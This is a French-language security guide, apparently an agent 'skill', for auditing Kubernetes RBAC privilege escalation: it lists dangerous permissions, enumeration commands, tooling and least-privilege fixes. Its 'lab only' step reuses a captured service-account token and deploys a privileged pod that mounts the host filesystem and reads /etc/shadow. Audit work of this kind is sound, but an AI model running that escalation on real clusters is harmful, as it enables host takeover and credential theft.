auditing-kubernetes-rbac-privilege-escalation

Audit de l'Escalade de Privilèges RBAC Kubernetes

Avis légal : Cette compétence est réservée aux tests de sécurité autorisés et à des fins éducatives uniquement. Énumérer et exercer des permissions RBAC affecte la posture d'accès d'un cluster en production. Ne testez que des clusters que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite.

Présentation

Le contrôle d'accès basé sur les rôles (RBAC, MITRE ATT&CK T1078 Comptes Valides) de Kubernetes régit ce que chaque utilisateur et compte de service peut faire via les règles Role/ClusterRole liées par RoleBinding/ClusterRoleBinding. Comme les charges de travail s'exécutent avec un jeton de compte de service monté par défaut, un attaquant qui compromet un pod hérite des droits RBAC de ce compte. Des liaisons trop permissives transforment un simple pod compromis en prise de contrôle du cluster : certains verbes et ressources sont "équivalents RBAC à un administrateur de cluster".

Selon le guide des bonnes pratiques RBAC de Kubernetes et les recherches d'Unit 42, les primitives dangereuses sont :

• escalate sur les rôles — s'accorder n'importe quelle permission, même celles que l'on ne possède pas.
• bind sur les clusterroles — créer une liaison vers cluster-admin.
• impersonate sur les utilisateurs/groupes/comptes de service — agir comme n'importe quel sujet, y compris system:masters.
• create/update/patch sur les pods — planifier un pod privilégié ou monter le nœud, s'échapper vers l'hôte (T1611).
• create sur pods/exec, pods/attach, pods/ephemeralcontainers — exécuter du code dans n'importe quel pod existant.
• get/list/watch sur les secrets — la liste renvoie le contenu complet des secrets, y compris les autres jetons de comptes de service.
• create sur serviceaccounts/token — créer des jetons pour des comptes plus privilégiés.
• update/patch sur validatingwebhookconfigurations/mutatingwebhookconfigurations, nodes/proxy, certificatesigningrequests/approval — abus d'admission/CSR vers administrateur de cluster.
• Jokers (verbs: ["*"], resources: ["*"]) — super-privilège implicite.

Cette compétence énumère systématiquement les permissions effectives pour chaque sujet, cartographie les sujets détenant ces primitives d'escalade et produit des preuves de correction. Source : Bonnes pratiques RBAC Kubernetes ; Recherches RBAC Kubernetes d'Unit 42.

Quand l'utiliser

• Lors d'une évaluation de sécurité Kubernetes autorisée ou d'un test d'intrusion de cluster
• Après avoir compromis un pod, pour déterminer ce que son jeton de compte de service peut atteindre
• Lors de la vérification de la dérive RBAC avant une mise en production
• Lors de la validation du moindre privilège après une migration de plateforme ou un déploiement Helm

Prérequis

• kubectl configuré contre le cluster cible (vos propres identifiants, ou un jeton de compte de service capturé)
• Accès en lecture aux objets RBAC (la plupart des audits s'exécutent avec un contexte cluster-reader ou admin)
• Outils d'audit :

  # rbac-police - trouver les chemins d'escalade (Cymulate)
  curl -L https://github.com/PaloAltoNetworks/rbac-police/releases/latest/download/rbac-police-linux-amd64 -o rbac-police
  chmod +x rbac-police
  
  # kubectl-who-can - quels sujets peuvent effectuer une action (Aqua)
  kubectl krew install who-can
  
  # rakkess - matrice d'accès des ressources x verbes pour le sujet actuel/un autre
  kubectl krew install access-matrix
  
  # rbac-lookup - quels rôles un sujet possède (FairwindsOps)
  kubectl krew install rbac-lookup
  

Objectifs

• Inventorier tous les objets Role, ClusterRole, RoleBinding et ClusterRoleBinding
• Énumérer les permissions effectives par sujet à l'aide de kubectl auth can-i --as
• Identifier les sujets détenant des primitives équivalentes à administrateur de cluster
• Tracer les pods montant des jetons vers des comptes de service sur-privilégiés
• Démontrer (dans un laboratoire) un chemin d'escalade de bout en bout
• Produire un rapport de constatations priorisé avec des corrections de moindre privilège

Cartographie MITRE ATT&CK

ID de Technique	Nom	Tactique
T1078	Comptes Valides	Contournement de Défense / Persistance / Élévation de Privilèges
T1098	Manipulation de Compte	Persistance
T1528	Vol de Jeton d'Accès d'Application	Accès aux Identifiants
T1613	Découverte de Conteneurs et de Ressources	Découverte
T1611	Évasion vers l'Hôte	Élévation de Privilèges

Flux de Travail

Étape 1 : Inventaire des Objets RBAC

# Tous les rôles et liaisons, à l'échelle du cluster
kubectl get clusterroles,clusterrolebindings -o wide
kubectl get roles,rolebindings --all-namespaces -o wide

# Vider l'intégralité du RBAC pour analyse hors ligne
kubectl get clusterroles,clusterrolebindings,roles,rolebindings \
  --all-namespaces -o yaml > rbac-dump.yaml

# Qui est lié à cluster-admin ?
kubectl get clusterrolebindings -o json | \
  jq -r '.items[] | select(.roleRef.name=="cluster-admin") |
         .metadata.name + " -> " + (.subjects // [] | map(.kind+"/"+.name) | join(","))'

Étape 2 : Énumération des Permissions Effectives par Sujet

kubectl auth can-i est la vérification faisant autorité car elle évalue l'autoriseur en direct (RBAC + webhooks). Utilisez --as pour usurper un sujet (nécessite des droits d'usurpation pour l'identité d'audit).

# Matrice d'accès complète pour un compte de service
kubectl auth can-i --list \
  --as=system:serviceaccount:default:default

# Sondes ciblées de permissions dangereuses
kubectl auth can-i create pods --all-namespaces \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i get secrets --all-namespaces \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i create serviceaccounts/token -n kube-system \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i '*' '*' --all-namespaces \
  --as=system:serviceaccount:dev:builder

# rakkess : matrice verbe x ressource complète pour un sujet
kubectl access-matrix --as system:serviceaccount:dev:builder

Étape 3 : Chasse aux Primitives d'Escalade

# Qui peut effectuer chaque action dangereuse sur le cluster ?
kubectl who-can create pods
kubectl who-can '*' '*'                      # détenteurs du mode dieu joker
kubectl who-can get secrets
kubectl who-can list secrets
kubectl who-can create pods/exec
kubectl who-can impersonate users
kubectl who-can create serviceaccounts/token
kubectl who-can update clusterrolebindings   # escalade par liaison

# grep du dump brut pour les verbes escalate/bind/impersonate et les jokers
grep -nE 'escalate|impersonate|"\*"|- bind' rbac-dump.yaml

Étape 4 : Analyse Automatisée des Chemins d'Escalade avec rbac-police

rbac-police évalue des politiques Rego sur un instantané du cluster pour identifier les principaux pouvant escalader vers cluster-admin et le chemin exact.

# Exécute toutes les vérifications d'escalade intégrées (nécessite un kubeconfig avec accès en lecture)
./rbac-police eval ./lib/policies/

# Uniquement la politique d'escalade de privilèges, constatations graves en JSON
./rbac-police eval ./lib/policies/can_escalate.rego -f json -o findings.json

# Collecte d'abord un instantané (analyse hors ligne / révision sur réseau isolé)
./rbac-police collect -o cluster-snapshot.json
./rbac-police eval ./lib/policies/ --collect-results cluster-snapshot.json

Étape 5 : Traçage des Pods vers les Comptes de Service Sur-Privilégiés

Une constatation n'a d'importance que si une charge de travail accessible monte ce jeton.

# Cartographie de chaque pod vers son compte de service
kubectl get pods --all-namespaces \
  -o custom-columns='NS:.metadata.namespace,POD:.metadata.name,SA:.spec.serviceAccountName'

# Trouver les pods qui montent automatiquement les jetons (par défaut) liés à des SA risqués
kubectl get pods --all-namespaces -o json | jq -r '
  .items[] | select(.spec.automountServiceAccountToken != false) |
  "\(.metadata.namespace)/\(.metadata.name) -> \(.spec.serviceAccountName // "default")"'

# rbac-lookup : que possède réellement ce compte de service ?
kubectl rbac-lookup builder --kind serviceaccount

Étape 6 : Démonstration d'un Chemin d'Escalade (Laboratoire Uniquement)

Exemple : un compte de service avec create pods et accès à un nœud peut planifier un pod privilégié qui monte le système de fichiers de l'hôte.

# En utilisant un jeton capturé, ciblez directement le serveur API
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://kubernetes.default.svc

# Confirmer le droit dangereux
kubectl --token="$TOKEN" --server="$APISERVER" --insecure-skip-tls-verify \
  auth can-i create pods

# Planifier un pod privilégié montant l'hôte (prouve la prise de contrôle nœud/hôte)
cat <<'EOF' | kubectl --token="$TOKEN" --server="$APISERVER" \
  --insecure-skip-tls-verify apply -f -
apiVersion: v1
kind: Pod
metadata: {name: escalate-poc, namespace: default}
spec:
  containers:
  - name: x
    image: alpine
    command: ["/bin/sh","-c","cat /host/etc/shadow; sleep 1d"]
    securityContext: {privileged: true}
    volumeMounts: [{name: host, mountPath: /host}]
  volumes: [{name: host, hostPath: {path: /}}]
EOF
kubectl logs escalate-poc   # /etc/shadow de l'hôte prouve l'escalade

Étape 7 : Rapport et Correction

# Générer un résumé des violations de moindre privilège
kubectl get clusterrolebindings -o json | jq -r '
  .items[] | select(.roleRef.name=="cluster-admin") |
  "CONSTATATION cluster-admin lié à : " +
  ((.subjects // []) | map(.kind+":"+.name) | join(", "))'

Correction : remplacez les jokers par des verbes/ressources explicites ; supprimez escalate/bind/impersonate sauf si nécessaire ; définissez automountServiceAccountToken: false sur les charges de travail qui n'appellent pas l'API ; privilégiez Role (par espace de noms) plutôt que ClusterRole lorsque c'est possible ; utilisez aggregationRule avec précaution.

Outils et Ressources

Outil	Objectif	Source
kubectl auth can-i	Vérification de permission en direct faisant autorité (--list, --as)	https://kubernetes.io/docs/reference/access-authn-authz/authorization/
rbac-police	Analyse de chemins d'escalade basée sur Rego	https://github.com/PaloAltoNetworks/rbac-police
kubectl-who-can	Recherche inversée : qui peut faire X	https://github.com/aquasecurity/kubectl-who-can
rakkess (access-matrix)	Matrice verbe x ressource par sujet	https://github.com/corneliusweig/rakkess
rbac-lookup	Rôles détenus par un sujet	https://github.com/FairwindsOps/rbac-lookup
Bonnes Pratiques RBAC Kubernetes	Liste faisant autorité des primitives d'escalade	https://kubernetes.io/docs/concepts/security/rbac-good-practices/

Référence des Primitives RBAC Dangereuses

Verbe / Ressource	Pourquoi elle est Équivalente à Administrateur de Cluster
escalate sur les rôles	S'accorder n'importe quelle permission
bind sur les clusterroles	Se lier à cluster-admin
impersonate utilisateurs/groupes	Agir en tant que system:masters
create pods (+ accès au nœud)	Pod privilégié/hostPath -> prise de contrôle de l'hôte
create pods/exec,pods/attach	Exécuter du code dans des pods existants
get/list secrets	Lire tous les jetons et identifiants
create serviceaccounts/token	Créer des jetons privilégiés
*/* (jokers)	Super-privilège implicite

Critères de Validation

• Tous les objets Role/ClusterRole/Binding inventoriés et vidés
• Liste des sujets cluster-admin énumérée
• Permissions effectives énumérées par compte de service via auth can-i --list
• Tous les détenteurs de primitives dangereuses identifiés (escalade/liaison/usurpation/secrets/pods)
• Chemins d'escalade rbac-police examinés
• Pods montant des jetons cartographiés vers les comptes de service risqués
• Au moins un chemin d'escalade démontré dans un laboratoire
• Rapport de constatations avec correction de moindre privilège produit
• Tous les tests sont restés dans le périmètre autorisé